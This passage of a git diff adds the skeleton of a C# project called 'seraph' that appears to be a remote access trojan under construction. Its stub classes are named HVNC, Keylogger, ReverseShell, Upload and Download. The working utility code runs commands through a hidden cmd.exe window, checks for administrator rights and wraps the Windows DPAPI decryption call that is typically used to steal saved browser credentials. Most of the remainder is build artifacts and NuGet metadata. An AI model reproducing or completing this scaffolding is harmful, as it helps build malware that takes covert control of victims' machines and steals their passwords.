b/seraph/Seraph.Remote/Download.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Remote; + +public class Download +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/HVNC.cs b/seraph/Seraph.Remote/HVNC.cs new file mode 100644 index 0000000..6a74764 --- /dev/null +++ b/seraph/Seraph.Remote/HVNC.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Remote; + +public class HVNC +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/Keylogger.cs b/seraph/Seraph.Remote/Keylogger.cs new file mode 100644 index 0000000..5282f0a --- /dev/null +++ b/seraph/Seraph.Remote/Keylogger.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Remote; + +public class Keylogger +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/Remote.cs b/seraph/Seraph.Remote/Remote.cs new file mode 100644 index 0000000..864caa8 --- /dev/null +++ b/seraph/Seraph.Remote/Remote.cs @@ -0,0 +1,14 @@ +namespace seraph.Seraph.Remote; + +public class Remote : Service +{ + public override void Initialize() + { + Console.WriteLine("Remote Daemon Initialized."); + } + + public override void Execute() + { + Console.WriteLine("Remote Daemon Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/ReverseShell.cs b/seraph/Seraph.Remote/ReverseShell.cs new file mode 100644 index 0000000..1177bf9 --- /dev/null +++ b/seraph/Seraph.Remote/ReverseShell.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Remote; + +public class ReverseShell +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/TaskManager.cs b/seraph/Seraph.Remote/TaskManager.cs new file mode 100644 index 0000000..7aa0af6 --- /dev/null +++ b/seraph/Seraph.Remote/TaskManager.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Remote; + +public class TaskManager +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/Upload.cs b/seraph/Seraph.Remote/Upload.cs new file mode 100644 index 0000000..1bfe135 --- /dev/null +++ b/seraph/Seraph.Remote/Upload.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Remote; + +public class Upload +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Utility/Utils.cs b/seraph/Seraph.Utility/Utils.cs new file mode 100644 index 0000000..ea379aa --- /dev/null +++ b/seraph/Seraph.Utility/Utils.cs @@ -0,0 +1,42 @@ +namespace seraph.Seraph.Utility; + +using System.Security.Principal; +using System.Runtime.InteropServices; +using System.Diagnostics; + +public class Utils +{ + public static string lAppdata = Environment.GetEnvironmentVariable("LOCALAPPDATA"); + public static string Appdata = Environment.GetEnvironmentVariable("APPDATA"); + + public static bool IsRunningAsAdmin() + { + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + public static bool IsWindows() + { + return RuntimeInformation.IsOSPlatform(OSPlatform.Windows); + } + + public static string ShellExecute(string command) + { + using var process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "cmd.exe", + Arguments = $"/c {command}", + RedirectStandardOutput = true, + UseShellExecute = false, + CreateNoWindow = true + } + }; + + process.Start(); + return process.StandardOutput.ReadToEnd(); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Utility/crypt32.cs b/seraph/Seraph.Utility/crypt32.cs new file mode 100644 index 0000000..b5cf028 --- /dev/null +++ b/seraph/Seraph.Utility/crypt32.cs @@ -0,0 +1,79 @@ +namespace seraph.Seraph.Utility; + +using System.Runtime.InteropServices; +using System.Text; +using System; + +public static class Crypt32Wrapper +{ + [DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool CryptUnprotectData( + ref DATA_BLOB pDataIn, + out IntPtr ppszDataDescr, + IntPtr pOptionalEntropy, + IntPtr pvReserved, + IntPtr pPromptStruct, + int dwFlags, + out DATA_BLOB pDataOut); + + [StructLayout(LayoutKind.Sequential)] + private struct DATA_BLOB + { + public int cbData; + public IntPtr pbData; + } + + private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1; + + public static string Decrypt(byte[] encryptedData) + { + if (encryptedData == null || encryptedData.Length == 0) + { + throw new ArgumentException("Encrypted data cannot be null or empty."); + } + + var inBlob = new DATA_BLOB + { + cbData = encryptedData.Length, + pbData = Marshal.AllocHGlobal(encryptedData.Length) + }; + Marshal.Copy(encryptedData, 0, inBlob.pbData, encryptedData.Length); + + DATA_BLOB outBlob = new DATA_BLOB(); + IntPtr descriptionPtr = IntPtr.Zero; + + try + { + bool success = CryptUnprotectData(ref inBlob, out descriptionPtr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, + CRYPTPROTECT_UI_FORBIDDEN, out outBlob); + + if (!success) + { + int errorCode = Marshal.GetLastWin32Error(); + throw new InvalidOperationException($"Decryption failed with error code: {errorCode}"); + } + + if (outBlob.pbData == IntPtr.Zero) + { + throw new InvalidOperationException("Decryption failed: outBlob.pbData is null."); + } + + byte[] decryptedData = new byte[outBlob.cbData]; + Marshal.Copy(outBlob.pbData, decryptedData, 0, outBlob.cbData); + return Encoding.UTF8.GetString(decryptedData); + } + finally + { + Marshal.FreeHGlobal(inBlob.pbData); + if (outBlob.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(outBlob.pbData); + } + + if (descriptionPtr != IntPtr.Zero) + { + Marshal.FreeHGlobal(descriptionPtr); + } + } + } +} \ No newline at end of file diff --git a/seraph/Service.cs b/seraph/Service.cs new file mode 100644 index 0000000..64cd34a --- /dev/null +++ b/seraph/Service.cs @@ -0,0 +1,8 @@ +namespace seraph +{ + public abstract class Service + { + public abstract void Execute(); + public abstract void Initialize(); + } +} \ No newline at end of file diff --git a/seraph/bin/Debug/net8.0/seraph.deps.json b/seraph/bin/Debug/net8.0/seraph.deps.json new file mode 100644 index 0000000..c0afa2b --- /dev/null +++ b/seraph/bin/Debug/net8.0/seraph.deps.json @@ -0,0 +1,23 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v8.0", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v8.0": { + "seraph/1.0.0": { + "runtime": { + "seraph.dll": {} + } + } + } + }, + "libraries": { + "seraph/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + } + } +} \ No newline at end of file diff --git a/seraph/bin/Debug/net8.0/seraph.dll b/seraph/bin/Debug/net8.0/seraph.dll new file mode 100644 index 0000000..5306e4d Binary files /dev/null and b/seraph/bin/Debug/net8.0/seraph.dll differ diff --git a/seraph/bin/Debug/net8.0/seraph.exe b/seraph/bin/Debug/net8.0/seraph.exe new file mode 100644 index 0000000..05a3185 Binary files /dev/null and b/seraph/bin/Debug/net8.0/seraph.exe differ diff --git a/seraph/bin/Debug/net8.0/seraph.pdb b/seraph/bin/Debug/net8.0/seraph.pdb new file mode 100644 index 0000000..c188673 Binary files /dev/null and b/seraph/bin/Debug/net8.0/seraph.pdb differ diff --git a/seraph/bin/Debug/net8.0/seraph.runtimeconfig.json b/seraph/bin/Debug/net8.0/seraph.runtimeconfig.json new file mode 100644 index 0000000..becfaea --- /dev/null +++ b/seraph/bin/Debug/net8.0/seraph.runtimeconfig.json @@ -0,0 +1,12 @@ +{ + "runtimeOptions": { + "tfm": "net8.0", + "framework": { + "name": "Microsoft.NETCore.App", + "version": "8.0.0" + }, + "configProperties": { + "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false + } + } +} \ No newline at end of file diff --git a/seraph/bin/Release/net8.0/seraph.deps.json b/seraph/bin/Release/net8.0/seraph.deps.json new file mode 100644 index 0000000..c0afa2b --- /dev/null +++ b/seraph/bin/Release/net8.0/seraph.deps.json @@ -0,0 +1,23 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v8.0", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v8.0": { + "seraph/1.0.0": { + "runtime": { + "seraph.dll": {} + } + } + } + }, + "libraries": { + "seraph/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + } + } +} \ No newline at end of file diff --git a/seraph/bin/Release/net8.0/seraph.dll b/seraph/bin/Release/net8.0/seraph.dll new file mode 100644 index 0000000..bbe0563 Binary files /dev/null and b/seraph/bin/Release/net8.0/seraph.dll differ diff --git a/seraph/bin/Release/net8.0/seraph.exe b/seraph/bin/Release/net8.0/seraph.exe new file mode 100644 index 0000000..05a3185 Binary files /dev/null and b/seraph/bin/Release/net8.0/seraph.exe differ diff --git a/seraph/bin/Release/net8.0/seraph.pdb b/seraph/bin/Release/net8.0/seraph.pdb new file mode 100644 index 0000000..ea1067e Binary files /dev/null and b/seraph/bin/Release/net8.0/seraph.pdb differ diff --git a/seraph/bin/Release/net8.0/seraph.runtimeconfig.json b/seraph/bin/Release/net8.0/seraph.runtimeconfig.json new file mode 100644 index 0000000..d784515 --- /dev/null +++ b/seraph/bin/Release/net8.0/seraph.runtimeconfig.json @@ -0,0 +1,13 @@ +{ + "runtimeOptions": { + "tfm": "net8.0", + "framework": { + "name": "Microsoft.NETCore.App", + "version": "8.0.0" + }, + "configProperties": { + "System.Reflection.Metadata.MetadataUpdater.IsSupported": false, + "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false + } + } +} \ No newline at end of file diff --git a/seraph/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/seraph/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs new file mode 100644 index 0000000..2217181 --- /dev/null +++ b/seraph/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")] diff --git a/seraph/obj/Debug/net8.0/apphost.exe b/seraph/obj/Debug/net8.0/apphost.exe new file mode 100644 index 0000000..05a3185 Binary files /dev/null and b/seraph/obj/Debug/net8.0/apphost.exe differ diff --git a/seraph/obj/Debug/net8.0/ref/seraph.dll b/seraph/obj/Debug/net8.0/ref/seraph.dll new file mode 100644 index 0000000..cba2c45 Binary files /dev/null and b/seraph/obj/Debug/net8.0/ref/seraph.dll differ diff --git a/seraph/obj/Debug/net8.0/refint/seraph.dll b/seraph/obj/Debug/net8.0/refint/seraph.dll new file mode 100644 index 0000000..cba2c45 Binary files /dev/null and b/seraph/obj/Debug/net8.0/refint/seraph.dll differ diff --git a/seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs b/seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs new file mode 100644 index 0000000..c018584 --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs @@ -0,0 +1,22 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +using System; +using System.Reflection; + +[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")] +[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")] +[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] +[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] +[assembly: System.Reflection.AssemblyProductAttribute("seraph")] +[assembly: System.Reflection.AssemblyTitleAttribute("seraph")] +[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")] + +// Von der MSBuild WriteCodeFragment-Klasse generiert. + diff --git a/seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache b/seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache new file mode 100644 index 0000000..aae7da5 --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache @@ -0,0 +1 @@ +d75807a5f89bff94c6c165411057ab21e37b99c044d409180b33a0fbc81d8189 diff --git a/seraph/obj/Debug/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig b/seraph/obj/Debug/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..ee57394 --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,13 @@ +is_global = true +build_property.TargetFramework = net8.0 +build_property.TargetPlatformMinVersion = +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = seraph +build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = diff --git a/seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs b/seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs new file mode 100644 index 0000000..8578f3d --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs @@ -0,0 +1,8 @@ +// +global using global::System; +global using global::System.Collections.Generic; +global using global::System.IO; +global using global::System.Linq; +global using global::System.Net.Http; +global using global::System.Threading; +global using global::System.Threading.Tasks; diff --git a/seraph/obj/Debug/net8.0/seraph.assets.cache b/seraph/obj/Debug/net8.0/seraph.assets.cache new file mode 100644 index 0000000..66a5f09 Binary files /dev/null and b/seraph/obj/Debug/net8.0/seraph.assets.cache differ diff --git a/seraph/obj/Debug/net8.0/seraph.csproj.CoreCompileInputs.cache b/seraph/obj/Debug/net8.0/seraph.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..9ff79bb --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +29066902f8ac4d5ccb2d7c04a1acfb2d05d462a1a582dbb8ece030516f68312d diff --git a/seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt b/seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..1082b11 --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt @@ -0,0 +1,14 @@ +C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.exe +C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.deps.json +C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.runtimeconfig.json +C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.dll +C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.pdb +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfoInputs.cache +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfo.cs +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.csproj.CoreCompileInputs.cache +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.dll +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\refint\seraph.dll +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.pdb +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.genruntimeconfig.cache +C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\ref\seraph.dll diff --git a/seraph/obj/Debug/net8.0/seraph.dll b/seraph/obj/Debug/net8.0/seraph.dll new file mode 100644 index 0000000..5306e4d Binary files /dev/null and b/seraph/obj/Debug/net8.0/seraph.dll differ diff --git a/seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache b/seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache new file mode 100644 index 0000000..3c7c813 --- /dev/null +++ b/seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache @@ -0,0 +1 @@ +47cbad650cd263fef74dbfacd26269093fc783aa03658a4013f529ae7d9247b7 diff --git a/seraph/obj/Debug/net8.0/seraph.pdb b/seraph/obj/Debug/net8.0/seraph.pdb new file mode 100644 index 0000000..c188673 Binary files /dev/null and b/seraph/obj/Debug/net8.0/seraph.pdb differ diff --git a/seraph/obj/Release/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/seraph/obj/Release/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs new file mode 100644 index 0000000..2217181 --- /dev/null +++ b/seraph/obj/Release/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")] diff --git a/seraph/obj/Release/net8.0/apphost.exe b/seraph/obj/Release/net8.0/apphost.exe new file mode 100644 index 0000000..05a3185 Binary files /dev/null and b/seraph/obj/Release/net8.0/apphost.exe differ diff --git a/seraph/obj/Release/net8.0/ref/seraph.dll b/seraph/obj/Release/net8.0/ref/seraph.dll new file mode 100644 index 0000000..499f347 Binary files /dev/null and b/seraph/obj/Release/net8.0/ref/seraph.dll differ diff --git a/seraph/obj/Release/net8.0/refint/seraph.dll b/seraph/obj/Release/net8.0/refint/seraph.dll new file mode 100644 index 0000000..499f347 Binary files /dev/null and b/seraph/obj/Release/net8.0/refint/seraph.dll differ diff --git a/seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs b/seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs new file mode 100644 index 0000000..6b31c4a --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs @@ -0,0 +1,22 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +using System; +using System.Reflection; + +[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")] +[assembly: System.Reflection.AssemblyConfigurationAttribute("Release")] +[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] +[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] +[assembly: System.Reflection.AssemblyProductAttribute("seraph")] +[assembly: System.Reflection.AssemblyTitleAttribute("seraph")] +[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")] + +// Von der MSBuild WriteCodeFragment-Klasse generiert. + diff --git a/seraph/obj/Release/net8.0/seraph.AssemblyInfoInputs.cache b/seraph/obj/Release/net8.0/seraph.AssemblyInfoInputs.cache new file mode 100644 index 0000000..2281c52 --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.AssemblyInfoInputs.cache @@ -0,0 +1 @@ +7873b96a14a886c363902eb95bd776eb4df56af23c9a5840eb66db64caf2e040 diff --git a/seraph/obj/Release/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig b/seraph/obj/Release/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..ee57394 --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,13 @@ +is_global = true +build_property.TargetFramework = net8.0 +build_property.TargetPlatformMinVersion = +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = seraph +build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = diff --git a/seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs b/seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs new file mode 100644 index 0000000..8578f3d --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs @@ -0,0 +1,8 @@ +// +global using global::System; +global using global::System.Collections.Generic; +global using global::System.IO; +global using global::System.Linq; +global using global::System.Net.Http; +global using global::System.Threading; +global using global::System.Threading.Tasks; diff --git a/seraph/obj/Release/net8.0/seraph.assets.cache b/seraph/obj/Release/net8.0/seraph.assets.cache new file mode 100644 index 0000000..5953513 Binary files /dev/null and b/seraph/obj/Release/net8.0/seraph.assets.cache differ diff --git a/seraph/obj/Release/net8.0/seraph.csproj.CoreCompileInputs.cache b/seraph/obj/Release/net8.0/seraph.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..84603a9 --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +a248834d9d5241c9ac2f983b6be8e32cce8bb549b16973f7117fbdfe494786d8 diff --git a/seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt b/seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..ae66501 --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt @@ -0,0 +1,14 @@ +C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.exe +C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.deps.json +C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.runtimeconfig.json +C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.dll +C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.pdb +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfoInputs.cache +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfo.cs +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.csproj.CoreCompileInputs.cache +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.dll +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\refint\seraph.dll +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.pdb +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.genruntimeconfig.cache +C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\ref\seraph.dll diff --git a/seraph/obj/Release/net8.0/seraph.dll b/seraph/obj/Release/net8.0/seraph.dll new file mode 100644 index 0000000..bbe0563 Binary files /dev/null and b/seraph/obj/Release/net8.0/seraph.dll differ diff --git a/seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache b/seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache new file mode 100644 index 0000000..d3c68ed --- /dev/null +++ b/seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache @@ -0,0 +1 @@ +ea199540467a6e4ef92d71a5333af19225a609ff58dfc9b821b595ad6d2e07db diff --git a/seraph/obj/Release/net8.0/seraph.pdb b/seraph/obj/Release/net8.0/seraph.pdb new file mode 100644 index 0000000..ea1067e Binary files /dev/null and b/seraph/obj/Release/net8.0/seraph.pdb differ diff --git a/seraph/obj/project.assets.json b/seraph/obj/project.assets.json new file mode 100644 index 0000000..bee82f1 --- /dev/null +++ b/seraph/obj/project.assets.json @@ -0,0 +1,68 @@ +{ + "version": 3, + "targets": { + "net8.0": {} + }, + "libraries": {}, + "projectFileDependencyGroups": { + "net8.0": [] + }, + "packageFolders": { + "C:\\Users\\gum\\.nuget\\packages\\": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj", + "projectName": "seraph", + "projectPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj", + "packagesPath": "C:\\Users\\gum\\.nuget\\packages\\", + "outputPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\", + "projectStyle": "PackageReference", + "configFilePaths": [ + "C:\\Users\\gum\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net8.0" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net8.0": { + "targetAlias": "net8.0", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + } + }, + "frameworks": { + "net8.0": { + "targetAlias": "net8.0", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json" + } + } + } +} \ No newline at end of file diff --git a/seraph/obj/project.nuget.cache b/seraph/obj/project.nuget.cache new file mode 100644 index 0000000..50616a6 --- /dev/null +++ b/seraph/obj/project.nuget.cache @@ -0,0 +1,8 @@ +{ + "version": 2, + "dgSpecHash": "gKxWVmdBhy077f7Z/KiraGIHQKOBljC+34PgfrF/aeH0SFyifJXKFp/Gy2Q+5RKaA0mZtYKiIxF9wA+VMIPa3g==", + "success": true, + "projectFilePath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj", + "expectedPackageFiles": [], + "logs": [] +} \ No newline at end of file diff --git a/seraph/obj/project.packagespec.json b/seraph/obj/project.packagespec.json new file mode 100644 index 0000000..acbd291 --- /dev/null +++ b/seraph/obj/project.packagespec.json @@ -0,0 +1 @@ +"restore":{"projectUniqueName":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","projectName":"seraph","projectPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","outputPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\","projectStyle":"PackageReference","originalTargetFrameworks":["net8.0"],"sources":{"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\":{},"https://api.nuget.org/v3/index.json":{}},"frameworks":{"net8.0":{"targetAlias":"net8.0","projectReferences":{}}},"warningProperties":{"warnAsError":["NU1605"]}}"frameworks":{"net8.0":{"targetAlias":"net8.0","imports":["net461","net462","net47","net471","net472","net48","net481"],"assetTargetFallback":true,"warn":true,"frameworkReferences":{"Microsoft.NETCore.App":{"privateAssets":"all"}},"runtimeIdentifierGraphPath":"C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"}} \ No newline at end of file diff --git a/seraph/obj/rider.project.model.nuget.info b/seraph/obj/rider.project.model.nuget.info new file mode 100644 index 0000000..36e2860 --- /dev/null +++ b/seraph/obj/rider.project.model.nuget.info @@ -0,0 +1 @@ +17225408775286069 \ No newline at end of file diff --git a/seraph/obj/rider.project.restore.info b/seraph/obj/rider.project.restore.info new file mode 100644 index 0000000..36e2860 --- /dev/null +++ b/seraph/obj/rider.project.restore.info @@ -0,0 +1 @@ +17225408775286069 \ No newline at end of file diff --git a/seraph/obj/seraph.csproj.nuget.dgspec.json b/seraph/obj/seraph.csproj.nuget.dgspec.json new file mode 100644 index 0000000..03a8722 --- /dev/null +++ b/seraph/obj/seraph.csproj.nuget.dgspec.json @@ -0,0 +1,63 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj": {} + }, + "projects": { + "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj", + "projectName": "seraph", + "projectPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj", + "packagesPath": "C:\\Users\\gum\\.nuget\\packages\\", + "outputPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\", + "projectStyle": "PackageReference", + "configFilePaths": [ + "C:\\Users\\gum\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net8.0" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net8.0": { + "targetAlias": "net8.0", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + } + }, + "frameworks": { + "net8.0": { + "targetAlias": "net8.0", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/seraph/obj/seraph.csproj.nuget.g.props b/seraph/obj/seraph.csproj.nuget.g.props new file mode 100644 index 0000000..697cd57 --- /dev/null +++ b/seraph/obj/seraph.csproj.nuget.g.props @@ -0,0 +1,15 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\gum\.nuget\packages\ + PackageReference + 6.9.1 + + + + + \ No newline at end of file diff --git a/seraph/obj/seraph.csproj.nuget.g.targets 